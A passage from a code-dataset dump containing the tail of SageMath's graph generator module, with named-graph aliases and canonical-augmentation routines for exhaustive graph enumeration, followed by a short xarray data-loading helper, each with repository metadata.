 GrotzschGraph            = staticmethod(smallgraphs.GrotzschGraph)\n    HallJankoGraph           = staticmethod(smallgraphs.HallJankoGraph)\n    WellsGraph               = staticmethod(smallgraphs.WellsGraph)\n    HarborthGraph            = staticmethod(smallgraphs.HarborthGraph)\n    HarriesGraph             = staticmethod(smallgraphs.HarriesGraph)\n    HarriesWongGraph         = staticmethod(smallgraphs.HarriesWongGraph)\n    HeawoodGraph             = staticmethod(smallgraphs.HeawoodGraph)\n    HerschelGraph            = staticmethod(smallgraphs.HerschelGraph)\n    HigmanSimsGraph          = staticmethod(smallgraphs.HigmanSimsGraph)\n    HoffmanGraph             = staticmethod(smallgraphs.HoffmanGraph)\n    HoffmanSingletonGraph    = staticmethod(smallgraphs.HoffmanSingletonGraph)\n    HoltGraph                = staticmethod(smallgraphs.HoltGraph)\n    HortonGraph              = staticmethod(smallgraphs.HortonGraph)\n    IoninKharaghani765Graph  = staticmethod(smallgraphs.IoninKharaghani765Graph)\n    IvanovIvanovFaradjevGraph = staticmethod(distance_regular.IvanovIvanovFaradjevGraph)\n    J2Graph                  = staticmethod(distance_regular.J2Graph)\n    JankoKharaghaniGraph     = staticmethod(smallgraphs.JankoKharaghaniGraph)\n    JankoKharaghaniTonchevGraph  = staticmethod(smallgraphs.JankoKharaghaniTonchevGraph)\n    KittellGraph             = staticmethod(smallgraphs.KittellGraph)\n    KrackhardtKiteGraph      = staticmethod(smallgraphs.KrackhardtKiteGraph)\n    Klein3RegularGraph       = staticmethod(smallgraphs.Klein3RegularGraph)\n    Klein7RegularGraph       = staticmethod(smallgraphs.Klein7RegularGraph)\n    LargeWittGraph           = staticmethod(distance_regular.LargeWittGraph)\n    LeonardGraph             = staticmethod(distance_regular.LeonardGraph)\n    LjubljanaGraph           = staticmethod(smallgraphs.LjubljanaGraph)\n    vanLintSchrijverGraph       = staticmethod(distance_regular.vanLintSchrijverGraph)\n    LivingstoneGraph         = staticmethod(smallgraphs.LivingstoneGraph)\n    locally_GQ42_distance_transitive_graph = staticmethod(distance_regular.locally_GQ42_distance_transitive_graph)\n    LocalMcLaughlinGraph     = staticmethod(smallgraphs.LocalMcLaughlinGraph)\n    M22Graph                 = staticmethod(smallgraphs.M22Graph)\n    MarkstroemGraph          = staticmethod(smallgraphs.MarkstroemGraph)\n    MathonStronglyRegularGraph = staticmethod(smallgraphs.MathonStronglyRegularGraph)\n    McGeeGraph               = staticmethod(smallgraphs.McGeeGraph)\n    McLaughlinGraph          = staticmethod(smallgraphs.McLaughlinGraph)\n    MeredithGraph            = staticmethod(smallgraphs.MeredithGraph)\n    MoebiusKantorGraph       = staticmethod(smallgraphs.MoebiusKantorGraph)\n    MoserSpindle             = staticmethod(smallgraphs.MoserSpindle)\n    NauruGraph               = staticmethod(smallgraphs.NauruGraph)\n    PappusGraph              = staticmethod(smallgraphs.PappusGraph)\n    PoussinGraph             = staticmethod(smallgraphs.PoussinGraph)\n    PerkelGraph              = staticmethod(smallgraphs.PerkelGraph)\n    PetersenGraph            = staticmethod(smallgraphs.PetersenGraph)\n    RobertsonGraph           = staticmethod(smallgraphs.RobertsonGraph)\n    SchlaefliGraph           = staticmethod(smallgraphs.SchlaefliGraph)\n    shortened_00_11_binary_Golay_code_graph = staticmethod(distance_regular.shortened_00_11_binary_Golay_code_graph)\n    shortened_000_111_extended_binary_Golay_code_graph = staticmethod(distance_regular.shortened_000_111_extended_binary_Golay_code_graph)\n    ShrikhandeGraph          = staticmethod(smallgraphs.ShrikhandeGraph)\n    SimsGewirtzGraph         = staticmethod(smallgraphs.SimsGewirtzGraph)\n    SousselierGraph          = staticmethod(smallgraphs.SousselierGraph)\n    SylvesterGraph           = staticmethod(smallgraphs.SylvesterGraph)\n    SzekeresSnarkGraph       = staticmethod(smallgraphs.SzekeresSnarkGraph)\n    ThomsenGraph             = staticmethod(smallgraphs.ThomsenGraph)\n    TietzeGraph              = staticmethod(smallgraphs.TietzeGraph)\n    Tutte12Cage              = staticmethod(smallgraphs.Tutte12Cage)\n    TruncatedIcosidodecahedralGraph = staticmethod(smallgraphs.TruncatedIcosidodecahedralGraph)\n    TruncatedTetrahedralGraph = staticmethod(smallgraphs.TruncatedTetrahedralGraph)\n    TruncatedWittGraph       = staticmethod(distance_regular.TruncatedWittGraph)\n    TutteCoxeterGraph        = staticmethod(smallgraphs.TutteCoxeterGraph)\n    TutteGraph               = staticmethod(smallgraphs.TutteGraph)\n    U42Graph216              = staticmethod(smallgraphs.U42Graph216)\n    U42Graph540              = staticmethod(smallgraphs.U42Graph540)\n    WagnerGraph              = staticmethod(smallgraphs.WagnerGraph)\n    WatkinsSnarkGraph        = staticmethod(smallgraphs.WatkinsSnarkGraph)\n    WienerArayaGraph         = staticmethod(smallgraphs.WienerArayaGraph)\n    SuzukiGraph              = staticmethod(smallgraphs.SuzukiGraph)\n\n###########################################################################\n# Platonic Solids\n###########################################################################\n    from .generators import platonic_solids\n    DodecahedralGraph        = staticmethod(platonic_solids.DodecahedralGraph)\n    HexahedralGraph          = staticmethod(platonic_solids.HexahedralGraph)\n    IcosahedralGraph         = staticmethod(platonic_solids.IcosahedralGraph)\n    OctahedralGraph          = staticmethod(platonic_solids.OctahedralGraph)\n    TetrahedralGraph         = staticmethod(platonic_solids.TetrahedralGraph)\n\n###########################################################################\n# Families\n###########################################################################\n    from .generators import families\n    from . import strongly_regular_db\n    AlternatingFormsGraph   = staticmethod(distance_regular.AlternatingFormsGraph)\n    AztecDiamondGraph      = staticmethod(families.AztecDiamondGraph)\n    BalancedTree           = staticmethod(families.BalancedTree)\n    BarbellGraph           = staticmethod(families.BarbellGraph)\n    BilinearFormsGraph      = staticmethod(distance_regular.BilinearFormsGraph)\n    BubbleSortGraph        = staticmethod(families.BubbleSortGraph)\n    CaiFurerImmermanGraph  = staticmethod(families.CaiFurerImmermanGraph)\n    chang_graphs           = staticmethod(families.chang_graphs)\n    CirculantGraph         = staticmethod(families.CirculantGraph)\n    CubeGraph              = staticmethod(families.CubeGraph)\n    CubeConnectedCycle     = staticmethod(families.CubeConnectedCycle)\n    DipoleGraph            = staticmethod(families.DipoleGraph)\n    DorogovtsevGoltsevMendesGraph = staticmethod(families.DorogovtsevGoltsevMendesGraph)\n    DoubleGrassmannGraph   = staticmethod(distance_regular.DoubleGrassmannGraph)\n    DoubleOddGraph         = staticmethod(distance_regular.DoubleOddGraph)\n    EgawaGraph             = staticmethod(families.EgawaGraph)\n    FibonacciTree          = staticmethod(families.FibonacciTree)\n    FoldedCubeGraph        = staticmethod(families.FoldedCubeGraph)\n    FriendshipGraph        = staticmethod(families.FriendshipGraph)\n    FurerGadget            = staticmethod(families.FurerGadget)\n    FuzzyBallGraph         = staticmethod(families.FuzzyBallGraph)\n    GeneralizedPetersenGraph = staticmethod(families.GeneralizedPetersenGraph)\n    GoethalsSeidelGraph    = staticmethod(families.GoethalsSeidelGraph)\n    GrassmannGraph         = staticmethod(distance_regular.GrassmannGraph)\n    HalfCube               = staticmethod(distance_regular.HalfCube)\n    HammingGraph           = staticmethod(families.HammingGraph)\n    HanoiTowerGraph        = staticmethod(families.HanoiTowerGraph)\n    HararyGraph            = staticmethod(families.HararyGraph)\n    HermitianFormsGraph     = staticmethod(distance_regular.HermitianFormsGraph)\n    HyperStarGraph         = staticmethod(families.HyperStarGraph)\n    JohnsonGraph           = staticmethod(families.JohnsonGraph)\n    KneserGraph            = staticmethod(families.KneserGraph)\n    LCFGraph               = staticmethod(families.LCFGraph)\n    line_graph_forbidden_subgraphs = staticmethod(families.line_graph_forbidden_subgraphs)\n    LollipopGraph          = staticmethod(families.LollipopGraph)\n    MathonPseudocyclicMergingGraph = staticmethod(families.MathonPseudocyclicMergingGraph)\n    MathonPseudocyclicStronglyRegularGraph = staticmethod(families.MathonPseudocyclicStronglyRegularGraph)\n    MuzychukS6Graph        = staticmethod(families.MuzychukS6Graph)\n    MycielskiGraph         = staticmethod(families.MycielskiGraph)\n    MycielskiStep          = staticmethod(families.MycielskiStep)\n    NKStarGraph            = staticmethod(families.NKStarGraph)\n    NStarGraph             = staticmethod(families.NStarGraph)\n    OddGraph               = staticmethod(families.OddGraph)\n    PaleyGraph             = staticmethod(families.PaleyGraph)\n    PasechnikGraph         = staticmethod(families.PasechnikGraph)\n    petersen_family        = staticmethod(families.petersen_family)\n    RingedTree             = staticmethod(families.RingedTree)\n    SierpinskiGasketGraph  = staticmethod(families.SierpinskiGasketGraph)\n    SquaredSkewHadamardMatrixGraph = staticmethod(families.SquaredSkewHadamardMatrixGraph)\n    SwitchedSquaredSkewHadamardMatrixGraph = staticmethod(families.SwitchedSquaredSkewHadamardMatrixGraph)\n    strongly_regular_graph = staticmethod(strongly_regular_db.strongly_regular_graph)\n    TadpoleGraph           = staticmethod(families.TadpoleGraph)\n    trees                  = staticmethod(families.trees)\n    TuranGraph             = staticmethod(families.TuranGraph)\n    UstimenkoGraph         = staticmethod(distance_regular.UstimenkoGraph)\n    WheelGraph             = staticmethod(families.WheelGraph)\n    WindmillGraph          = staticmethod(families.WindmillGraph)\n\n###########################################################################\n# Graphs from classical geometries over `F_q`\n###########################################################################\n    from .generators import classical_geometries\n    AffineOrthogonalPolarGraph = staticmethod(classical_geometries.AffineOrthogonalPolarGraph)\n    AhrensSzekeresGeneralizedQuadrangleGraph = staticmethod(classical_geometries.AhrensSzekeresGeneralizedQuadrangleGraph)\n    NonisotropicOrthogonalPolarGraph = staticmethod(classical_geometries.NonisotropicOrthogonalPolarGraph)\n    NonisotropicUnitaryPolarGraph = staticmethod(classical_geometries.NonisotropicUnitaryPolarGraph)\n    OrthogonalDualPolarGraph = staticmethod(classical_geometries.OrthogonalDualPolarGraph)\n    OrthogonalPolarGraph = staticmethod(classical_geometries.OrthogonalPolarGraph)\n    SymplecticDualPolarGraph = staticmethod(classical_geometries.SymplecticDualPolarGraph)\n    SymplecticPolarGraph = staticmethod(classical_geometries.SymplecticPolarGraph)\n    TaylorTwographDescendantSRG = \\\n             staticmethod(classical_geometries.TaylorTwographDescendantSRG)\n    TaylorTwographSRG = staticmethod(classical_geometries.TaylorTwographSRG)\n    T2starGeneralizedQuadrangleGraph = staticmethod(classical_geometries.T2starGeneralizedQuadrangleGraph)\n    Nowhere0WordsTwoWeightCodeGraph = staticmethod(classical_geometries.Nowhere0WordsTwoWeightCodeGraph)\n    HaemersGraph = staticmethod(classical_geometries.HaemersGraph)\n    CossidentePenttilaGraph = staticmethod(classical_geometries.CossidentePenttilaGraph)\n    UnitaryDualPolarGraph = staticmethod(classical_geometries.UnitaryDualPolarGraph)\n    UnitaryPolarGraph = staticmethod(classical_geometries.UnitaryPolarGraph)\n\n###########################################################################\n# Chessboard Graphs\n###########################################################################\n    from .generators import chessboard\n    ChessboardGraphGenerator = staticmethod(chessboard.ChessboardGraphGenerator)\n    BishopGraph              = staticmethod(chessboard.BishopGraph)\n    KingGraph                = staticmethod(chessboard.KingGraph)\n    KnightGraph              = staticmethod(chessboard.KnightGraph)\n    QueenGraph               = staticmethod(chessboard.QueenGraph)\n    RookGraph                = staticmethod(chessboard.RookGraph)\n\n###########################################################################\n# Intersection graphs\n###########################################################################\n    from .generators import intersection\n    IntervalGraph            = staticmethod(intersection.IntervalGraph)\n    IntersectionGraph        = staticmethod(intersection.IntersectionGraph)\n    PermutationGraph         = staticmethod(intersection.PermutationGraph)\n    OrthogonalArrayBlockGraph  = staticmethod(intersection.OrthogonalArrayBlockGraph)\n    ToleranceGraph           = staticmethod(intersection.ToleranceGraph)\n\n###########################################################################\n# Random Graphs\n###########################################################################\n    from .generators import random\n    RandomBarabasiAlbert     = staticmethod(random.RandomBarabasiAlbert)\n    RandomBipartite          = staticmethod(random.RandomBipartite)\n    RandomRegularBipartite   = staticmethod(random.RandomRegularBipartite)\n    RandomBicubicPlanar      = staticmethod(random.RandomBicubicPlanar)\n    RandomBlockGraph         = staticmethod(random.RandomBlockGraph)\n    RandomBoundedToleranceGraph = staticmethod(random.RandomBoundedToleranceGraph)\n    RandomChordalGraph       = staticmethod(random.RandomChordalGraph)\n    RandomGNM                = staticmethod(random.RandomGNM)\n    RandomGNP                = staticmethod(random.RandomGNP)\n    RandomHolmeKim           = staticmethod(random.RandomHolmeKim)\n    RandomIntervalGraph      = staticmethod(random.RandomIntervalGraph)\n    RandomLobster            = staticmethod(random.RandomLobster)\n    RandomNewmanWattsStrogatz = staticmethod(random.RandomNewmanWattsStrogatz)\n    RandomRegular            = staticmethod(random.RandomRegular)\n    RandomShell              = staticmethod(random.RandomShell)\n    RandomToleranceGraph     = staticmethod(random.RandomToleranceGraph)\n    RandomTreePowerlaw       = staticmethod(random.RandomTreePowerlaw)\n    RandomTree               = staticmethod(random.RandomTree)\n    RandomTriangulation      = staticmethod(random.RandomTriangulation)\n\n###########################################################################\n# Maps\n###########################################################################\n    from .generators import world_map\n    WorldMap = staticmethod(world_map.WorldMap)\n    EuropeMap = staticmethod(world_map.EuropeMap)\n    AfricaMap = staticmethod(world_map.AfricaMap)\n    USAMap = staticmethod(world_map.USAMap)\n\n###########################################################################\n# Degree Sequence\n###########################################################################\n    from .generators import degree_sequence\n    DegreeSequence           = staticmethod(degree_sequence.DegreeSequence)\n    DegreeSequenceBipartite  = staticmethod(degree_sequence.DegreeSequenceBipartite)\n    DegreeSequenceConfigurationModel = staticmethod(degree_sequence.DegreeSequenceConfigurationModel)\n    DegreeSequenceTree       = staticmethod(degree_sequence.DegreeSequenceTree)\n    DegreeSequenceExpected   = staticmethod(degree_sequence.DegreeSequenceExpected)\n\ndef canaug_traverse_vert(g, aut_gens, max_verts, property, dig=False, loops=False, sparse=True):\n    \"\"\"\n    Main function for exhaustive generation. Recursive traversal of a\n    canonically generated tree of isomorph free (di)graphs satisfying a\n    given property.\n\n    INPUT:\n\n\n    -  ``g`` - current position on the tree.\n\n    -  ``aut_gens`` - list of generators of Aut(g), in\n       list notation.\n\n    -  ``max_verts`` - when to retreat.\n\n    -  ``property`` - check before traversing below g.\n\n    -  ``degree_sequence`` - specify a degree sequence to try to\n       obtain.\n\n\n    EXAMPLES::\n\n        sage: from sage.graphs.graph_generators import canaug_traverse_vert\n        sage: list(canaug_traverse_vert(Graph(), [], 3, lambda x: True))\n        [Graph on 0 vertices, ... Graph on 3 vertices]\n\n    The best way to access this function is through the graphs()\n    iterator:\n\n    Print graphs on 3 or less vertices.\n\n    ::\n\n        sage: for G in graphs(3, augment='vertices'):\n        ....:    print(G)\n        Graph on 0 vertices\n        Graph on 1 vertex\n        Graph on 2 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 2 vertices\n        Graph on 3 vertices\n\n    Print digraphs on 2 or less vertices.\n\n    ::\n\n        sage: for D in digraphs(2, augment='vertices'):\n        ....:     print(D)\n        Digraph on 0 vertices\n        Digraph on 1 vertex\n        Digraph on 2 vertices\n        Digraph on 2 vertices\n        Digraph on 2 vertices\n    \"\"\"\n    from sage.groups.perm_gps.partn_ref.refinement_graphs import search_tree\n    if not property(g):\n        return\n    yield g\n\n    n = g.order()\n    if n < max_verts:\n\n        # build a list representing C(g) - the vertex to be added\n        # is at the end, so only specify which edges...\n        # in the case of graphs, there are n possibilities,\n        # and in the case of digraphs, there are 2*n.\n        if dig:\n            possibilities = 2*n\n        else:\n            possibilities = n\n        num_roots = 2**possibilities\n        children = [-1]*num_roots\n\n        # union-find C(g) under Aut(g)\n        for gen in aut_gens:\n            for i in range(len(children)):\n                k = 0\n                for j in range(possibilities):\n                    if (1 << j)&i:\n                        if dig and j >= n:\n                            k += (1 << (gen[j-n]+n))\n                        else:\n                            k += (1 << gen[j])\n                while children[k] != -1:\n                    k = children[k]\n                while children[i] != -1:\n                    i = children[i]\n                if i != k:\n                    # union i & k\n                    smaller, larger = sorted([i,k])\n                    children[larger] = smaller\n                    num_roots -= 1\n\n        # find representatives of orbits of C(g)\n        roots = []\n        found_roots = 0\n        i = 0\n        while found_roots < num_roots:\n            if children[i] == -1:\n                found_roots += 1\n                roots.append(i)\n            i += 1\n        for i in roots:\n            # construct a z for each number in roots...\n            z = g.copy(sparse=sparse)\n            z.add_vertex(n)\n            edges = []\n            if dig:\n                index = 0\n                while 2 * index < possibilities:\n                    if (1 << index)&i:\n                        edges.append((index,n))\n                    index += 1\n                while index < possibilities:\n                    if (1 << index)&i:\n                        edges.append((n,index-n))\n                    index += 1\n            else:\n                index = 0\n                while (1 << index) <= i:\n                    if (1 << index)&i:\n                        edges.append((index,n))\n                    index += 1\n            z.add_edges(edges)\n            z_s = []\n            if property(z):\n                z_s.append(z)\n            if loops:\n                z = z.copy(sparse=sparse)\n                z.add_edge((n,n))\n                if property(z):\n                    z_s.append(z)\n            for z in z_s:\n                z_aut_gens, _, canonical_relabeling = search_tree(z, [z.vertices()], certificate=True, dig=(dig or loops))\n                cut_vert = 0\n                while canonical_relabeling[cut_vert] != n:\n                    cut_vert += 1\n                sub_verts = [v for v in z if v != cut_vert]\n                m_z = z.subgraph(sub_verts)\n\n                if m_z == g:\n                    for a in canaug_traverse_vert(z, z_aut_gens, max_verts, property, dig=dig, loops=loops, sparse=sparse):\n                        yield a\n                else:\n                    for possibility in check_aut(z_aut_gens, cut_vert, n):\n                        if m_z.relabel(dict(enumerate(possibility)), check_input=False, inplace=False) == g:\n                            for a in canaug_traverse_vert(z, z_aut_gens, max_verts, property, dig=dig, loops=loops, sparse=sparse):\n                                yield a\n                            break\n\ndef check_aut(aut_gens, cut_vert, n):\n    \"\"\"\n    Helper function for exhaustive generation.\n\n    At the start, check_aut is given a set of generators for the\n    automorphism group, aut_gens. We already know we are looking for\n    an element of the auto- morphism group that sends cut_vert to n,\n    and check_aut generates these for the canaug_traverse function.\n\n    EXAMPLES:\n\n    Note that the last two entries indicate that none of the\n    automorphism group has yet been searched - we are starting at the\n    identity [0, 1, 2, 3] and so far that is all we have seen. We\n    return automorphisms mapping 2 to 3::\n\n        sage: from sage.graphs.graph_generators import check_aut\n        sage: list( check_aut( [ [0, 3, 2, 1], [1, 0, 3, 2], [2, 1, 0, 3] ], 2, 3))\n        [[1, 0, 3, 2], [1, 2, 3, 0]]\n    \"\"\"\n    from copy import copy\n    perm = list(range(n + 1))\n    seen_perms = [perm]\n    unchecked_perms = [perm]\n    while unchecked_perms:\n        perm = unchecked_perms.pop(0)\n        for gen in aut_gens:\n            new_perm = copy(perm)\n            for i in range(len(perm)):\n                new_perm[i] = gen[perm[i]]\n            if new_perm not in seen_perms:\n                seen_perms.append(new_perm)\n                unchecked_perms.append(new_perm)\n                if new_perm[cut_vert] == n:\n                    yield new_perm\n\n\ndef canaug_traverse_edge(g, aut_gens, property, dig=False, loops=False, sparse=True):\n    \"\"\"\n    Main function for exhaustive generation. Recursive traversal of a\n    canonically generated tree of isomorph free graphs satisfying a\n    given property.\n\n    INPUT:\n\n\n    -  ``g`` - current position on the tree.\n\n    -  ``aut_gens`` - list of generators of Aut(g), in\n       list notation.\n\n    -  ``property`` - check before traversing below g.\n\n\n    EXAMPLES::\n\n        sage: from sage.graphs.graph_generators import canaug_traverse_edge\n        sage: G = Graph(3)\n        sage: list(canaug_traverse_edge(G, [], lambda x: True))\n        [Graph on 3 vertices, ... Graph on 3 vertices]\n\n    The best way to access this function is through the graphs()\n    iterator:\n\n    Print graphs on 3 or less vertices.\n\n    ::\n\n        sage: for G in graphs(3):\n        ....:     print(G)\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n        Graph on 3 vertices\n\n    Print digraphs on 3 or less vertices.\n\n    ::\n\n        sage: for G in digraphs(3):\n        ....:     print(G)\n        Digraph on 3 vertices\n        Digraph on 3 vertices\n        ...\n        Digraph on 3 vertices\n        Digraph on 3 vertices\n    \"\"\"\n    from sage.groups.perm_gps.partn_ref.refinement_graphs import search_tree\n\n    if not property(g):\n        return\n    yield g\n    n = g.order()\n    if dig:\n        max_size = n*(n-1)\n    else:\n        max_size = (n*(n-1))>>1 # >> 1 is just / 2 (this is n choose 2)\n    if loops:\n        max_size += n\n    if g.size() < max_size:\n        # build a list representing C(g) - the edge to be added\n        # is one of max_size choices\n        if dig:\n            children = [[(j,i) for i in range(n)] for j in range(n)]\n        else:\n            children = [[(j,i) for i in range(j)] for j in range(n)]\n        # union-find C(g) under Aut(g)\n        orbits = list(range(n))\n        for gen in aut_gens:\n            for iii in range(n):\n                if orbits[gen[iii]] != orbits[iii]:\n                    temp = orbits[gen[iii]]\n                    for jjj in range(n):\n                        if orbits[jjj] == temp:\n                            orbits[jjj] = orbits[iii]\n                if dig:\n                    jjj_range = list(range(iii)) + list(range(iii + 1, n))\n                else:\n                    jjj_range = list(range(iii))  # iii > jjj\n                for jjj in jjj_range:\n                    i, j = iii, jjj\n                    if dig:\n                        x, y = gen[i], gen[j]\n                    else:\n                        y, x = sorted([gen[i], gen[j]])\n                    if children[i][j] != children[x][y]:\n                        x_val, y_val = x, y\n                        i_val, j_val = i, j\n                        if dig:\n                            while (x_val, y_val) != children[x_val][y_val]:\n                                x_val, y_val = children[x_val][y_val]\n                            while (i_val, j_val) != children[i_val][j_val]:\n                                i_val, j_val = children[i_val][j_val]\n                        else:\n                            while (x_val, y_val) != children[x_val][y_val]:\n                                y_val, x_val = sorted(children[x_val][y_val])\n                            while (i_val, j_val) != children[i_val][j_val]:\n                                j_val, i_val = sorted(children[i_val][j_val])\n                        while (x, y) != (x_val, y_val):\n                            xx, yy = x, y\n                            x, y = children[x][y]\n                            children[xx][yy] = (x_val, y_val)\n                        while (i, j) != (i_val, j_val):\n                            ii, jj = i, j\n                            i, j = children[i][j]\n                            children[ii][jj] = (i_val, j_val)\n                        if x < i:\n                            children[i][j] = (x, y)\n                        elif x > i:\n                            children[x][y] = (i, j)\n                        elif y < j:\n                            children[i][j] = (x, y)\n                        elif y > j:\n                            children[x][y] = (i, j)\n                        else:\n                            continue\n        # find representatives of orbits of C(g)\n        roots = []\n        for i in range(n):\n            if dig:\n                j_range = list(range(i)) + list(range(i + 1, n))\n            else:\n                j_range = list(range(i))\n            for j in j_range:\n                if children[i][j] == (i, j):\n                    roots.append((i,j))\n        if loops:\n            seen = []\n            for i in range(n):\n                if orbits[i] not in seen:\n                    roots.append((i,i))\n                    seen.append(orbits[i])\n        for i, j in roots:\n            if g.has_edge(i, j):\n                continue\n            # construct a z for each edge in roots...\n            z = g.copy(sparse=sparse)\n            z.add_edge(i, j)\n            if not property(z):\n                continue\n            z_aut_gens, _, canonical_relabeling = search_tree(z, [z.vertices()], certificate=True, dig=(dig or loops))\n            relabel_inverse = [0]*n\n            for ii in range(n):\n                relabel_inverse[canonical_relabeling[ii]] = ii\n            z_can = z.relabel(canonical_relabeling, inplace=False)\n            cut_edge_can = z_can.edges(labels=False, sort=True)[-1]\n            cut_edge = [relabel_inverse[cut_edge_can[0]], relabel_inverse[cut_edge_can[1]]]\n            if dig:\n                cut_edge = tuple(cut_edge)\n            else:\n                cut_edge = tuple(sorted(cut_edge))\n\n            from copy import copy\n            m_z = copy(z)\n            m_z.delete_edge(cut_edge)\n            if m_z == g:\n                for a in canaug_traverse_edge(z, z_aut_gens, property, dig=dig, loops=loops, sparse=sparse):\n                    yield a\n            else:\n                for possibility in check_aut_edge(z_aut_gens, cut_edge, i, j, n, dig=dig):\n                    if m_z.relabel(possibility, inplace=False) == g:\n                        for a in canaug_traverse_edge(z, z_aut_gens, property, dig=dig, loops=loops, sparse=sparse):\n                            yield a\n                        break\n\ndef check_aut_edge(aut_gens, cut_edge, i, j, n, dig=False):\n    \"\"\"\n    Helper function for exhaustive generation.\n\n    At the start, check_aut_edge is given a set of generators for the\n    automorphism group, aut_gens. We already know we are looking for\n    an element of the auto- morphism group that sends cut_edge to {i,\n    j}, and check_aut generates these for the canaug_traverse\n    function.\n\n    EXAMPLES:\n\n    Note that the last two entries indicate that none of the\n    automorphism group has yet been searched - we are starting at the\n    identity [0, 1, 2, 3] and so far that is all we have seen. We\n    return automorphisms mapping 2 to 3::\n\n        sage: from sage.graphs.graph_generators import check_aut\n        sage: list( check_aut( [ [0, 3, 2, 1], [1, 0, 3, 2], [2, 1, 0, 3] ], 2, 3))\n        [[1, 0, 3, 2], [1, 2, 3, 0]]\n    \"\"\"\n    from copy import copy\n    perm = list(range(n))\n    seen_perms = [perm]\n    unchecked_perms = [perm]\n    while unchecked_perms:\n        perm = unchecked_perms.pop(0)\n        for gen in aut_gens:\n            new_perm = copy(perm)\n            for ii in range(n):\n                new_perm[ii] = gen[perm[ii]]\n            if new_perm not in seen_perms:\n                seen_perms.append(new_perm)\n                unchecked_perms.append(new_perm)\n                if new_perm[cut_edge[0]] == i and new_perm[cut_edge[1]] == j:\n                    yield new_perm\n                if not dig and new_perm[cut_edge[0]] == j and new_perm[cut_edge[1]] == i:\n                    yield new_perm\n\n# Easy access to the graph generators from the command line:\ngraphs = GraphGenerators()\n", "meta": {"hexsha": "0aebc8e1709cad157db2f737e8c8f658247589a4", "size": 103398, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/graphs/graph_generators.py", "max_stars_repo_name": "bollu/sage", "max_stars_repo_head_hexsha": "1da6df404d3ea7ff3019e16ea50d65923c1f4ece", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-11-12T04:06:19.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-12T04:06:19.000Z", "max_issues_repo_path": "src/sage/graphs/graph_generators.py", "max_issues_repo_name": "tamnguyen135/sage", "max_issues_repo_head_hexsha": "2c87dc16f26604033bb1b2d1dc6796d279c88b16", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-04-18T16:30:43.000Z", "max_issues_repo_issues_event_max_datetime": "2020-04-18T16:30:43.000Z", "max_forks_repo_path": "src/sage/graphs/graph_generators.py", "max_forks_repo_name": "dimpase/sage", "max_forks_repo_head_hexsha": "468f23815ade42a2192b0a9cd378de8fdc594dcd", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.6921305182, "max_line_length": 146, "alphanum_fraction": 0.5936285035, "include": true, "reason": "from sage", "num_tokens": 24684, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39233684437737093, "lm_q2_score": 0.1732882059293266, "lm_q1q2_score": 0.06798734788212801}}
{"text": "import numpy as np\nimport xarray as xr\n\ndef fetch_dataset(fname):\n    data = xr.open_dataset(fname)\n    # Capture attributes dict because it's removed after converting the data to\n    # float64\n    attrs = data.attrs.copy()\n    # The data are stored as ints and data as float32 to save space on the\n    # data file. Cast them to float64 to avoid integer division errors.\n    data = data.astype(\"float64\")\n    data.attrs = attrs\n    return data", "meta": {"hexsha": "8190acc1c783320707d1b4e39294f41937029ffa", "size": 443, "ext": "py", "lang": "Python", "max_stars_repo_path": "Content/code/1. Gravity_earth/read_data.py", "max_stars_repo_name": "andrelreis/metodos-potenciais", "max_stars_repo_head_hexsha": "22acb8bb8c87bcfe3949cde74032e7508bb052a8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-11-05T13:57:47.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-05T13:57:47.000Z", "max_issues_repo_path": "Content/code/1. Gravity_earth/read_data.py", "max_issues_repo_name": "andrelreis/metodos-potenciais", "max_issues_repo_head_hexsha": "22acb8bb8c87bcfe3949cde74032e7508bb052a8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Content/code/1. Gravity_earth/read_data.py", "max_forks_repo_name": "andrelreis/metodos-potenciais", "max_forks_repo_head_hexsha": "22acb8bb8c87bcfe3949cde74032e7508bb052a8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.0769230769, "max_line_length": 79, "alphanum_fraction": 0.7088036117, "include": true, "reason": "import numpy", "num_tokens": 104, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.14608725076600917, "lm_q1q2_score": 0.06791619243873591}}
